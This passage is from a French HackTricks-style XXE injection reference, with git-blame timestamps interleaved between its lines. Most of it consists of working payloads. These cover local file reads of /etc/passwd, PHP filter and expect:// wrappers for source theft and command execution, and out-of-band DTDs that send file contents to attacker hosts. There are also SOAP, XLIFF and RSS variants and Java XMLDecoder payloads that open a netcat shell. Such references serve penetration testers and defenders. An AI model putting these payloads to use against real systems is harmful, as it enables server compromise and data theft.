+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
```markup
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
2023-06-03 13:10:46 +00:00
### Contournement du protocole File:/
Si le web utilise PHP, au lieu d'utiliser `file:/`, vous pouvez utiliser **les wrappers PHP** `php://filter/convert.base64-encode/resource=` pour **accéder aux fichiers internes**.
2021-08-23 12:33:52 +00:00
Si le web utilise Java, vous pouvez vérifier le [**protocole jar:**](xxe-xee-xml-external-entity.md#jar-protocol).
2021-08-23 12:33:52 +00:00
2023-06-03 13:10:46 +00:00
### Entités HTML
2021-08-23 12:33:52 +00:00
2023-06-03 13:10:46 +00:00
Astuce de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Vous pouvez créer une **entité dans une entité** en la codant avec des **entités HTML** puis l'appeler pour **charger une dtd**.\
Notez que les **Entités HTML** utilisées doivent être **numériques** (comme \[dans cet exemple]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
2021-08-23 12:33:52 +00:00
```markup
2022-04-05 18:24:52 -04:00
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
2021-08-23 12:33:52 +00:00
<data>
<env>&exfil;</env>
2021-08-23 12:33:52 +00:00
</data>
```
2023-06-03 13:10:46 +00:00
Exemple de DTD :
2021-08-23 12:33:52 +00:00
```markup
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
```
2023-06-03 13:10:46 +00:00
## Enveloppes PHP
2022-09-30 10:43:59 +00:00
### Base64
2023-06-03 13:10:46 +00:00
**Extraire** _**index.php**_
```markup
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
2023-06-03 13:10:46 +00:00
#### **Extraire une ressource externe**
```markup
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
2023-06-03 13:10:46 +00:00
### Exécution de code à distance
**Si le module PHP "expect" est chargé**
```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```
2022-09-30 10:43:59 +00:00
## **SOAP - XEE**
```markup
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
2022-09-30 10:43:59 +00:00
## XLIFF - XXE
2021-07-20 10:48:25 +00:00
Cette section est tirée de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
Selon [Wikipedia](https://en.wikipedia.org/wiki/XLIFF) :
2021-07-20 10:48:25 +00:00
> XLIFF (XML Localization Interchange File Format) est un format de bitexte basé sur XML créé pour standardiser la manière dont les données localisables sont transmises entre les outils et parmi eux pendant un processus de localisation et un format commun pour l'échange d'outils CAT.
2021-07-20 10:48:25 +00:00
2023-06-03 13:10:46 +00:00
### Requête aveugle
2021-07-20 10:48:25 +00:00
```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
La réponse du serveur avec une erreur :
2021-07-20 10:48:25 +00:00
```javascript
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
2023-06-03 13:10:46 +00:00
Mais nous avons eu un résultat sur Burp Collaborator.
2021-07-20 10:48:25 +00:00
2023-06-03 13:10:46 +00:00
### Exfiltration de données via Out of Band
2021-07-20 10:48:25 +00:00
```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
### Exfiltration de données via les erreurs
2021-07-20 10:48:25 +00:00
Fichier DTD :
2021-07-20 10:48:25 +00:00
```markup
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Réponse du serveur :
2021-07-20 10:48:25 +00:00
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Le fichier `non-exist` est reflété dans les messages d'erreur. L'étape suivante consiste à ajouter le contenu du fichier.
2021-07-20 10:48:25 +00:00
2023-06-03 13:10:46 +00:00
Fichier DTD :
2021-07-20 10:48:25 +00:00
```markup
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
Et le contenu du fichier a été **affiché dans la sortie de l'erreur envoyée via HTTP**.
2021-07-20 10:48:25 +00:00
2022-09-30 10:43:59 +00:00
## RSS - XEE
XML valide au format RSS pour exploiter une vulnérabilité XXE.
2022-09-30 10:43:59 +00:00
### Ping back
Requête HTTP simple vers le serveur de l'attaquant
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### Lire le fichier
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2023-06-03 13:10:46 +00:00
### Lire le code source
Utilisant le filtre base64 de PHP
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
## Java XMLDecoder XEE à RCE
XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant peut amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément l'exécution de code sur le serveur.
2023-06-03 13:10:46 +00:00
### Utilisation de Runtime().exec()
```markup
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```
2022-09-30 10:43:59 +00:00
### ProcessBuilder
```markup
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```
2023-06-03 13:10:46 +00:00
## Outils
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
2023-06-03 13:10:46 +00:00
## Plus de ressources
[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
[https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
Extraire des informations via HTTP en utilisant un DTD externe propre : [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
[https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
[https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
[https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
Autres moyens de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>